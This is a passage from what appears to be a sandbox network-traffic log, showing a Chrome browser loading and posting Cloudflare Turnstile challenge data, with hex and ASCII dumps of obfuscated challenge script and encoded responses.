idget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_feedback_report":"Having%20trouble%3F","turnstile_footer_terms":"Terms","turnstile_feedback_description":"Send%20Feedback","turnstile_success":"Success%21","testing_only_always_pass":"
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 2c 67 35 2c 67 36 2c 67 77 2c 67 78 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 67 33 2c 67 34 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 36 38 34 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 33 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 37 37 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 38 30 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 32 34 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 39 37 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 35 35 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 Data Ascii: ,g5,g6,gw,gx,gB,gC,gG,gH,g3,g4){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(684))/1(-parseInt(gI(1123))/2)+parseInt(gI(1477))/3(-parseInt(gI(1480))/4)+parseInt(gI(1524))/5+-parseInt(gI(1497))/6+-parseInt(gI(755))/7*(parseInt(
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 36 38 29 29 3f 28 46 3d 7b 7d 2c 46 5b 67 4d 28 31 32 34 35 29 5d 3d 67 4d 28 31 31 30 34 29 2c 46 5b 67 4d 28 37 30 31 29 5d 3d 67 5b 67 4d 28 35 33 33 29 5d 5b 67 4d 28 31 36 35 35 29 5d 2c 46 5b 67 4d 28 31 32 31 31 29 5d 3d 67 4d 28 31 35 35 31 29 2c 46 5b 67 4d 28 34 30 37 29 5d 3d 68 2c 66 5b 67 4d 28 31 34 37 33 29 5d 5b 67 4d 28 31 35 39 38 29 5d 28 46 2c 27 2a 27 29 29 3a 66 5b 67 4d 28 34 31 38 29 5d 3d 4a 53 4f 4e 5b 67 4d 28 31 34 38 34 29 5d 28 66 5b 67 4d 28 34 31 38 29 5d 29 3b 69 66 28 6b 3d 68 7c 7c 69 5b 67 4d 28 31 30 31 35 29 5d 2c 6c 3d 65 4d 5b 67 4d 28 35 33 33 29 5d 5b 67 4d 28 31 32 31 34 29 5d 3f 69 5b 67 4d 28 34 35 36 29 5d 28 27 68 2f 27 2b 65 4d 5b 67 4d 28 35 33 33 29 5d 5b 67 4d 28 31 32 31 34 29 5d 2c 27 2f 27 29 3a 27 27 Data Ascii: 68))?(F={},F[gM(1245)]=gM(1104),F[gM(701)]=g[gM(533)][gM(1655)],F[gM(1211)]=gM(1551),F[gM(407)]=h,f[gM(1473)][gM(1598)](F,'*')):f[gM(418)]=JSON[gM(1484)](f[gM(418)]);if(k=h\|\|i[gM(1015)],l=eM[gM(533)][gM(1214)]?i[gM(456)]('h/'+eM[gM(533)][gM(1214)],'/'):''
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 28 31 31 30 34 29 2c 76 5b 67 4f 28 37 30 31 29 5d 3d 6f 5b 67 4f 28 35 33 33 29 5d 5b 67 4f 28 31 36 35 35 29 5d 2c 76 5b 67 4f 28 35 39 34 29 5d 3d 65 5b 67 4f 28 35 38 36 29 5d 2c 76 5b 67 4f 28 31 32 31 31 29 5d 3d 67 4f 28 35 37 31 29 2c 6e 5b 67 4f 28 31 34 37 33 29 5d 5b 67 4f 28 31 35 39 38 29 5d 28 76 2c 27 2a 27 29 29 7d 29 3a 66 3d 4a 53 4f 4e 5b 67 4e 28 31 34 38 34 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 67 4e 28 33 33 33 29 5d 3d 66 2c 6d 5b 67 4e 28 31 32 35 31 29 5d 3d 67 2c 6d 5b 67 4e 28 31 33 37 39 29 5d 3d 68 2c 6d 5b 67 4e 28 39 34 35 29 5d 3d 69 2c 6d 5b 67 4e 28 34 31 38 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 38 31 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 2c 69 2c 67 51 2c 6a 2c 6b 2c 6c 2c Data Ascii: (1104),v[gO(701)]=o[gO(533)][gO(1655)],v[gO(594)]=e[gO(586)],v[gO(1211)]=gO(571),n[gO(1473)][gO(1598)](v,'*'))}):f=JSON[gN(1484)](d);return m={},m[gN(333)]=f,m[gN(1251)]=g,m[gN(1379)]=h,m[gN(945)]=i,m[gN(418)]=d,m},eM[gJ(812)]=function(e,f,g,h,i,gQ,j,k,l,
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 50 28 29 2c 21 65 4d 5b 69 62 28 31 36 38 39 29 5d 26 26 21 66 75 28 29 26 26 21 65 4d 5b 69 62 28 33 37 33 29 5d 5b 69 62 28 31 30 35 31 29 5d 26 26 65 5b 69 62 28 33 35 32 29 5d 28 67 2c 66 4f 29 3e 66 3f 66 61 28 29 3a 66 62 28 29 7d 2c 31 65 33 29 29 2c 66 53 3d 7b 7d 2c 66 53 5b 67 4a 28 31 30 35 31 29 5d 3d 21 5b 5d 2c 66 53 5b 67 4a 28 31 33 37 36 29 5d 3d 65 55 2c 66 53 5b 67 4a 28 34 33 34 29 5d 3d 66 47 2c 66 53 5b 67 4a 28 31 36 33 30 29 5d 3d 66 4c 2c 66 53 5b 67 4a 28 36 32 34 29 5d 3d 66 4d 2c 66 53 5b 67 4a 28 31 34 36 31 29 5d 3d 66 48 2c 66 53 5b 67 4a 28 31 31 31 30 29 5d 3d 66 4e 2c 66 53 5b 67 4a 28 31 31 38 30 29 5d 3d 66 4b 2c 66 53 5b 67 4a 28 31 35 35 38 29 5d 3d 66 4a 2c 66 53 5b 67 4a 28 31 34 32 31 29 5d 3d 66 38 2c 66 53 5b 67 Data Ascii: P(),!eM[ib(1689)]&&!fu()&&!eM[ib(373)][ib(1051)]&&e[ib(352)](g,fO)>f?fa():fb()},1e3)),fS={},fS[gJ(1051)]=![],fS[gJ(1376)]=eU,fS[gJ(434)]=fG,fS[gJ(1630)]=fL,fS[gJ(624)]=fM,fS[gJ(1461)]=fH,fS[gJ(1110)]=fN,fS[gJ(1180)]=fK,fS[gJ(1558)]=fJ,fS[gJ(1421)]=f8,fS[g
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 2c 67 5b 6a 66 28 38 34 34 29 5d 5b 6a 66 28 38 30 37 29 5d 26 26 28 78 3d 78 5b 6a 66 28 31 30 39 36 29 5d 28 67 5b 6a 66 28 38 34 34 29 5d 5b 6a 66 28 38 30 37 29 5d 28 68 29 29 29 2c 78 3d 67 5b 6a 66 28 31 31 35 36 29 5d 5b 6a 66 28 31 35 37 39 29 5d 26 26 67 5b 6a 66 28 34 35 38 29 5d 3f 67 5b 6a 66 28 31 31 35 36 29 5d 5b 6a 66 28 31 35 37 39 29 5d 28 6e 65 77 20 67 5b 28 6a 66 28 34 35 38 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 6a 68 2c 48 2c 4a 29 7b 69 66 28 6a 68 3d 6a 66 2c 6f 5b 6a 68 28 37 31 30 29 5d 21 3d 3d 6a 68 28 31 32 31 30 29 29 7b 66 6f 72 28 47 5b 6a 68 28 31 34 38 39 29 5d 28 29 2c 48 3d 30 3b 6f 5b 6a 68 28 35 31 35 29 5d 28 48 2c 47 5b 6a 68 28 31 34 37 38 29 5d 29 3b 47 5b 48 5d 3d 3d 3d 47 5b 6f 5b 6a 68 28 35 Data Ascii: ,g[jf(844)][jf(807)]&&(x=x[jf(1096)](g[jf(844)][jf(807)](h))),x=g[jf(1156)][jf(1579)]&&g[jf(458)]?g[jf(1156)][jf(1579)](new g[(jf(458))](x)):function(G,jh,H,J){if(jh=jf,o[jh(710)]!==jh(1210)){for(G[jh(1489)](),H=0;o[jh(515)](H,G[jh(1478)]);G[H]===G[o[jh(5
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 71 61 59 6c 76 27 3a 6a 75 28 31 36 32 33 29 2c 27 68 52 47 67 53 27 3a 6a 75 28 31 34 31 31 29 2c 27 4f 7a 58 44 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 52 4e 6f 6c 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 6e 58 78 72 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6c 79 65 52 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 42 49 74 58 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 53 51 70 41 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d Data Ascii: i){return i==h},'qaYlv':ju(1623),'hRGgS':ju(1411),'OzXDl':function(h,i){return h-i},'RNolY':function(h,i){return h>i},'nXxrw':function(h,i){return h<<i},'lyeRu':function(h,i){return h&i},'BItXi':function(h,i){return h-i},'SQpAG':function(h,i){return h(i)}
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 6e 20 69 2a 68 7d 2c 27 4c 4f 50 78 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 6a 75 28 35 33 39 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 6a 76 29 7b 72 65 74 75 72 6e 20 6a 76 3d 6a 75 2c 64 5b 6a 76 28 36 36 31 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 77 29 7b 72 65 74 75 72 6e 20 6a 77 3d 6a 76 2c 64 5b 6a 77 28 31 34 35 38 29 5d 5b 6a 77 28 31 34 35 34 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 6a 78 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 52 2c 4e 2c 4f 2c 50 29 7b 69 66 28 6a 78 3d 6a 75 2c 78 3d 7b 7d 2c 78 5b 6a Data Ascii: n i*h},'LOPxw':function(h,i){return h<i}},e=String[ju(539)],f={'h':function(h,jv){return jv=ju,d[jv(661)](null,h)?'':f.g(h,6,function(i,jw){return jw=jv,d[jw(1458)][jw(1454)](i)})},'g':function(j,o,s,jx,x,B,C,D,E,F,G,H,I,J,K,L,M,R,N,O,P){if(jx=ju,x={},x[j
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 78 28 35 33 31 29 5d 28 30 2c 47 29 26 26 28 47 3d 4d 61 74 68 5b 6a 78 28 31 33 35 38 29 5d 28 32 2c 49 29 2c 49 2b 2b 29 2c 44 5b 4f 5d 3d 48 2b 2b 2c 53 74 72 69 6e 67 28 4e 29 29 7d 69 66 28 27 27 21 3d 3d 46 29 7b 69 66 28 64 5b 6a 78 28 38 35 38 29 5d 28 64 5b 6a 78 28 31 33 33 37 29 5d 2c 64 5b 6a 78 28 31 33 33 37 29 5d 29 29 7b 69 66 28 4f 62 6a 65 63 74 5b 6a 78 28 34 35 31 29 5d 5b 6a 78 28 37 34 35 29 5d 5b 6a 78 28 34 31 30 29 5d 28 45 2c 46 29 29 7b 69 66 28 32 35 36 3e 46 5b 6a 78 28 35 30 38 29 5d 28 30 29 29 7b 69 66 28 6a 78 28 31 35 38 36 29 3d 3d 3d 6a 78 28 31 35 38 36 29 29 7b 66 6f 72 28 43 3d 30 3b 43 3c 49 3b 4b 3c 3c 3d 31 2c 4c 3d 3d 64 5b 6a 78 28 31 32 35 32 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 6a 78 28 31 33 30 39 29 Data Ascii: x(531)](0,G)&&(G=Math[jx(1358)](2,I),I++),D[O]=H++,String(N))}if(''!==F){if(d[jx(858)](d[jx(1337)],d[jx(1337)])){if(Object[jx(451)][jx(745)][jx(410)](E,F)){if(256>F[jx(508)](0)){if(jx(1586)===jx(1586)){for(C=0;C<I;K<<=1,L==d[jx(1252)](o,1)?(L=0,J[jx(1309)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49723	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:16 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3185 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:16 UTC	3185	OUT	Data Raw: 76 5f 38 66 66 64 62 39 37 32 38 64 39 35 34 32 39 39 3d 67 53 6f 32 6e 32 42 32 4d 32 5a 32 62 4e 52 71 4e 52 55 32 4e 70 48 72 34 24 70 52 77 4e 35 35 52 79 33 52 48 6b 32 4e 45 52 2d 32 48 6f 24 48 6d 45 6f 52 4b 6a 45 52 68 4f 4e 25 32 62 67 52 46 32 4e 55 6f 52 48 66 78 53 41 61 52 66 72 52 4a 52 4e 53 52 66 6f 43 6b 52 33 52 41 6b 48 35 52 72 6b 6a 6f 52 4d 34 64 6f 41 55 50 32 48 75 52 73 6d 47 69 4c 30 52 66 2b 59 4e 5a 76 6e 70 68 63 63 77 49 43 6b 4e 73 52 67 64 72 41 68 43 62 54 6f 52 43 4b 52 52 62 6b 41 56 4e 59 46 79 43 2b 72 52 67 75 77 53 63 2b 24 52 62 75 77 59 37 46 48 76 52 6a 42 77 74 46 52 52 68 6b 41 71 6f 32 41 69 52 52 69 4e 58 70 52 69 38 6f 52 61 52 48 68 52 7a 71 56 56 4e 39 51 56 52 4e 79 37 46 70 41 37 65 45 4c 6c 32 2d 68 63 Data Ascii: v_8ffdb9728d954299=gSo2n2B2M2Z2bNRqNRU2NpHr4$pRwN55Ry3RHk2NER-2Ho$HmEoRKjERhON%2bgRF2NUoRHfxSAaRfrRJRNSRfoCkR3RAkH5RrkjoRM4doAUP2HuRsmGiL0Rf+YNZvnphccwICkNsRgdrAhCbToRCKRRbkAVNYFyC+rRguwSc+$RbuwY7FHvRjBwtFRRhkAqo2AiRRiNXpRi8oRaRHhRzqVVN9QVRNy7FpA7eELl2-hc
2025-01-10 15:33:17 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:17 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152988 Connection: close cf-chl-gen: FnkLG4mODlZ1KFqe8YjFzgAHmbKqAYPUqL0Ycny7bMVqujGFxTG025Kjv/0vvPaVUAg29o+YYrxUqH1jXbRROQU6/PYnFVqKOO5RlEvYdjzR4oONuLVGS88UB8SM7nOGhb9bsf4WcHacaj8Bn6Nqr7bhW3fk0fqkiB7KbO8Al1Od1tSt9cXIvHVZmZvgf7wed/2Ra+/Q+ldMQCJ0FhDf+0GyU/sj/sgbE/n2p8OPOr4dxP1/wTS7GoStGtI93Yjv1NOznxOKkobbcgHM9JphPAqdVtZHa/KxC6hcpptDlv0dN9RqkuaSczk4mLot4HSlqjJSC6huOg0JCjW1DJjpz86zirzbrDx3PJv6tCJCbI1+aJSpi1+0LaIa+JuQfpCQMdwPAuxIJkEjqAkm4AzpPUWqhT3BQT9cZDTrtz9ZNxKg+tc0F1xzgpQ+BitnJxSKMglVQdAJsZ1+Dp4IsS3j6EQZfs/bdy6liY7akAdh/e8=$2odZEFymfr/WYKYkouFq1Q== Server: cloudflare CF-RAY: 8ffdb97d0c4c439a-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:17 UTC	618	IN	Data Raw: 6a 34 52 69 61 6f 4e 5a 56 49 74 58 64 48 74 33 58 5a 35 33 59 33 4e 38 59 58 4a 79 67 59 4b 56 70 49 4f 72 73 4a 36 49 62 58 42 2b 67 4b 57 67 73 49 2b 37 76 4b 71 55 65 61 75 51 77 5a 4f 6b 76 4a 75 6c 79 4c 58 4a 6d 70 6d 61 75 6f 66 46 6a 4d 36 6f 6d 36 66 54 7a 4d 61 68 6b 63 37 52 6d 4a 4f 30 73 36 32 36 7a 4b 2b 79 76 62 37 49 73 39 6a 47 76 65 54 44 76 66 44 67 34 73 72 44 76 76 62 4f 78 36 37 52 78 72 4c 46 78 74 72 67 2b 4e 66 56 42 66 48 79 77 51 54 5a 43 77 45 43 35 2f 55 41 41 63 2f 4c 7a 65 50 64 33 65 72 33 34 65 48 6d 37 52 6f 5a 2b 64 37 53 32 41 33 65 49 68 6b 6e 2b 4e 34 45 4b 39 33 37 36 2b 6b 41 36 69 38 4a 42 51 44 39 41 77 51 43 4f 42 73 46 45 79 76 34 38 51 38 55 4e 44 59 5a 4c 79 38 6b 49 45 45 4c 48 67 6f 73 4b 55 55 44 48 68 41 Data Ascii: j4RiaoNZVItXdHt3XZ53Y3N8YXJygYKVpIOrsJ6IbXB+gKWgsI+7vKqUeauQwZOkvJulyLXJmpmauofFjM6om6fTzMahkc7RmJO0s626zK+yvb7Is9jGveTDvfDg4srDvvbOx67RxrLFxtrg+NfVBfHywQTZCwEC5/UAAc/LzePd3er34eHm7RoZ+d7S2A3eIhkn+N4EK9376+kA6i8JBQD9AwQCOBsFEyv48Q8UNDYZLy8kIEELHgosKUUDHhA
2025-01-10 15:33:17 UTC	1369	IN	Data Raw: 45 77 50 6a 68 6f 5a 56 4e 64 61 55 4a 59 57 47 63 78 59 45 70 47 51 45 34 76 52 30 64 37 61 6b 6c 49 56 33 5a 31 55 47 74 31 63 32 4b 46 58 6c 4a 31 61 34 42 66 57 57 47 46 58 46 74 6f 6b 6d 52 74 6c 5a 64 6f 59 34 69 63 6b 33 42 61 6c 47 42 68 6e 70 64 65 65 71 4b 6c 71 56 79 59 6f 33 69 61 6d 4b 43 6c 6f 4b 65 74 72 35 43 44 6c 72 4b 54 74 4c 70 76 76 4a 4f 73 65 72 36 56 72 37 2b 67 67 37 6a 45 6f 37 2b 43 77 63 71 73 6f 36 79 4b 70 37 4f 79 71 38 75 52 74 5a 4b 58 79 62 53 34 75 39 62 63 72 4d 43 67 77 38 44 6f 31 4f 62 67 31 4f 7a 70 78 36 75 73 32 2b 2f 42 38 38 6e 67 38 66 58 4c 38 63 6a 52 31 74 58 55 31 39 6b 41 32 4e 76 63 42 4e 7a 66 33 77 6a 67 34 2b 49 4d 35 4f 66 35 45 4f 6a 72 39 52 54 73 37 2b 55 59 38 50 50 6f 48 50 54 33 36 79 44 34 2b Data Ascii: EwPjhoZVNdaUJYWGcxYEpGQE4vR0d7aklIV3Z1UGt1c2KFXlJ1a4BfWWGFXFtokmRtlZdoY4ick3BalGBhnpdeeqKlqVyYo3iamKCloKetr5CDlrKTtLpvvJOser6Vr7+gg7jEo7+Cwcqso6yKp7Oyq8uRtZKXybS4u9bcrMCgw8Do1Obg1Ozpx6us2+/B88ng8fXL8cjR1tXU19kA2NvcBNzf3wjg4+IM5Of5EOjr9RTs7+UY8PPoHPT36yD4+
2025-01-10 15:33:17 UTC	1369	IN	Data Raw: 6e 4e 79 52 4d 59 57 35 78 52 30 64 65 51 44 4d 30 59 33 46 7a 56 56 68 63 63 49 46 63 4f 31 61 46 59 49 56 61 69 57 53 49 53 59 31 6f 6a 49 69 52 62 4a 42 78 69 47 65 4f 68 32 6c 73 65 47 79 58 69 33 36 52 6d 35 46 34 65 34 32 5a 63 4a 32 58 6f 4a 74 34 64 71 32 4c 68 48 69 79 61 6f 68 38 62 47 36 4d 67 4b 39 79 6b 49 53 31 64 70 53 49 72 48 71 59 6a 4c 46 2b 6e 4a 43 32 68 36 69 49 6d 59 32 48 73 4d 4b 4a 6b 39 4b 77 73 70 61 69 70 37 61 5a 6a 73 79 38 73 65 43 71 30 63 50 4d 6c 2b 66 6b 35 73 4f 68 77 4b 62 75 32 38 66 75 77 37 72 4e 36 72 54 52 34 2f 66 68 31 2b 54 73 32 4d 69 32 75 66 72 37 77 66 69 2b 41 76 7a 38 33 38 4c 31 43 63 72 57 44 63 2f 79 79 75 67 4c 41 2b 7a 6e 43 68 72 5a 31 76 7a 38 36 41 38 62 37 65 72 72 47 78 6a 76 33 65 66 37 39 50 Data Ascii: nNyRMYW5xR0deQDM0Y3FzVVhccIFcO1aFYIVaiWSISY1ojIiRbJBxiGeOh2lseGyXi36Rm5F4e42ZcJ2XoJt4dq2LhHiyaoh8bG6MgK9ykIS1dpSIrHqYjLF+nJC2h6iImY2HsMKJk9Kwspaip7aZjsy8seCq0cPMl+fk5sOhwKbu28fuw7rN6rTR4/fh1+Ts2Mi2ufr7wfi+Avz838L1CcrWDc/yyugLA+znChrZ1vz86A8b7errGxjv3ef79P
2025-01-10 15:33:17 UTC	1369	IN	Data Raw: 53 45 74 42 63 30 78 50 52 48 64 51 55 30 64 37 56 46 64 4b 61 6d 4e 38 66 56 5a 35 67 32 6c 2b 52 46 56 39 61 45 68 68 52 33 32 4b 64 56 4a 67 62 59 70 74 64 6d 35 74 65 56 56 71 64 33 31 5a 62 6e 2b 42 58 58 47 5a 6c 61 75 6f 70 6f 64 6c 68 47 75 77 72 61 2b 7a 68 5a 4f 67 6f 34 32 54 6d 4a 70 32 69 4a 52 32 77 71 2b 64 67 35 57 55 74 61 69 59 71 4d 61 61 70 5a 62 46 6e 73 69 6f 6a 61 4b 2b 6c 49 33 4e 6c 4c 53 6d 30 4e 36 31 31 63 76 4f 72 4c 76 56 78 4e 72 41 70 4d 6a 61 32 4b 6a 4a 37 65 72 4d 71 76 4f 2f 34 39 4c 79 76 2b 6e 6e 75 62 62 45 79 4e 48 4a 39 74 6a 68 32 4e 4c 64 7a 73 4c 61 41 65 44 46 32 76 37 37 41 76 30 4a 36 4d 33 6d 2f 74 54 4e 44 74 54 51 2b 78 72 7a 31 76 6b 42 46 50 37 62 45 2b 54 64 35 67 50 6f 34 65 6f 44 37 4f 58 75 41 69 6b Data Ascii: SEtBc0xPRHdQU0d7VFdKamN8fVZ5g2l+RFV9aEhhR32KdVJgbYptdm5teVVqd31Zbn+BXXGZlauopodlhGuwra+zhZOgo42TmJp2iJR2wq+dg5WUtaiYqMaapZbFnsiojaK+lI3NlLSm0N611cvOrLvVxNrApMja2KjJ7erMqvO/49Lyv+nnubbEyNHJ9tjh2NLdzsLaAeDF2v77Av0J6M3m/tTNDtTQ+xrz1vkBFP7bE+Td5gPo4eoD7OXuAik
2025-01-10 15:33:17 UTC	1369	IN	Data Raw: 30 4a 35 61 6b 38 38 53 31 31 72 66 56 74 31 63 30 56 44 58 48 4e 55 65 58 5a 56 52 48 36 43 69 31 79 43 68 6f 31 65 6c 6f 70 34 55 49 6d 53 66 56 78 72 67 59 71 64 67 5a 65 58 6e 61 68 61 65 70 68 68 5a 59 36 73 72 59 75 41 70 48 46 72 68 35 35 30 61 6e 57 30 75 6e 68 35 66 58 61 61 6b 4b 48 42 74 70 47 56 78 72 75 35 67 63 79 32 78 73 43 6b 6a 74 4c 43 77 72 43 6e 6f 39 58 53 70 61 66 5a 72 4b 75 6d 33 63 36 7a 6f 4b 2f 46 77 75 48 6c 32 64 57 70 70 74 37 42 75 4e 37 69 36 62 72 79 35 74 53 73 35 65 37 5a 75 4d 66 33 35 2f 6d 33 7a 4e 76 51 33 4e 7a 74 31 4f 62 5a 33 77 62 49 42 2b 58 49 44 65 62 6a 33 2b 73 4c 39 4f 41 57 38 50 6a 69 43 76 7a 6f 36 4f 63 61 48 50 7a 62 4a 64 2f 77 2f 4f 49 72 48 53 73 72 41 50 63 75 2b 2b 4d 42 44 6a 4d 49 42 52 49 76 Data Ascii: 0J5ak88S11rfVt1c0VDXHNUeXZVRH6Ci1yCho1elop4UImSfVxrgYqdgZeXnahaephhZY6srYuApHFrh550anW0unh5fXaakKHBtpGVxru5gcy2xsCkjtLCwrCno9XSpafZrKum3c6zoK/FwuHl2dWppt7BuN7i6bry5tSs5e7ZuMf35/m3zNvQ3Nzt1ObZ3wbIB+XIDebj3+sL9OAW8PjiCvzo6OcaHPzbJd/w/OIrHSsrAPcu++MBDjMIBRIv
2025-01-10 15:33:17 UTC	1369	IN	Data Raw: 42 4b 55 33 49 37 68 54 35 62 5a 31 68 67 65 46 68 6d 66 48 2b 52 69 6f 79 4d 69 4a 4a 78 5a 6f 78 76 55 70 57 59 56 6e 53 51 63 4a 31 79 62 58 53 53 65 70 35 7a 6d 32 6c 6d 71 6e 39 32 72 71 4b 51 66 61 53 6d 69 34 4f 50 73 62 4f 54 63 71 68 35 71 4a 69 4f 69 34 71 2f 77 4d 58 43 72 34 65 42 74 71 75 4b 74 38 36 4e 71 4e 47 6f 30 36 44 43 70 38 57 6b 7a 61 6d 32 72 37 6e 64 79 63 71 64 6f 62 79 79 72 37 69 5a 35 4f 6e 6d 30 35 37 49 32 73 2b 75 32 2f 4b 78 7a 50 58 4d 39 38 54 6d 79 2b 6e 49 38 63 33 61 30 39 30 43 37 65 37 42 78 65 44 57 30 39 73 49 43 51 34 4c 39 38 4c 50 2f 75 7a 47 43 4f 55 4c 47 4f 7a 78 37 65 6a 31 32 66 62 32 37 66 41 62 2f 4f 55 63 33 69 6e 35 35 67 4d 44 2b 66 67 6e 43 66 45 6f 36 78 30 47 38 51 38 4f 2b 51 77 54 38 7a 49 51 50 Data Ascii: BKU3I7hT5bZ1hgeFhmfH+RioyMiJJxZoxvUpWYVnSQcJ1ybXSSep5zm2lmqn92rqKQfaSmi4OPsbOTcqh5qJiOi4q/wMXCr4eBtquKt86NqNGo06DCp8Wkzam2r7ndycqdobyyr7iZ5Onm057I2s+u2/KxzPXM98Tmy+nI8c3a090C7e7BxeDW09sICQ4L98LP/uzGCOULGOzx7ej12fb27fAb/OUc3in55gMD+fgnCfEo6x0G8Q8O+QwT8zIQP
2025-01-10 15:33:17 UTC	1369	IN	Data Raw: 54 51 46 69 42 5a 34 74 31 5a 30 78 78 5a 57 78 4b 67 49 70 78 59 33 56 6f 6b 6d 56 53 6a 32 5a 5a 63 48 68 65 63 47 43 50 67 4b 69 6f 6d 48 61 43 68 36 36 64 65 4a 79 4e 69 5a 52 30 6c 61 61 4e 6b 37 71 6f 71 61 36 47 6a 4b 43 59 67 62 64 37 73 4a 57 43 6e 70 36 56 67 4d 4b 6b 6a 63 4f 48 72 71 47 4f 71 71 71 68 6e 70 54 4a 32 70 6d 56 6d 36 69 6e 7a 62 43 7a 6f 4c 44 62 74 4e 37 59 77 4b 6e 66 6f 38 71 39 71 73 62 47 75 72 71 70 72 64 48 4e 32 4c 6a 54 36 74 48 58 2f 75 7a 59 38 75 48 31 7a 72 33 79 34 74 66 35 2b 38 6e 47 32 4e 7a 63 34 4f 6a 52 43 4d 6f 56 35 64 48 75 37 64 6e 72 38 74 4d 53 37 78 37 59 43 2b 44 76 49 41 34 69 41 77 4c 30 49 52 34 6b 43 2f 67 49 44 44 41 4e 45 43 55 71 4b 41 59 6d 4e 42 58 7a 50 54 30 4a 46 51 42 42 50 69 38 54 48 51 Data Ascii: 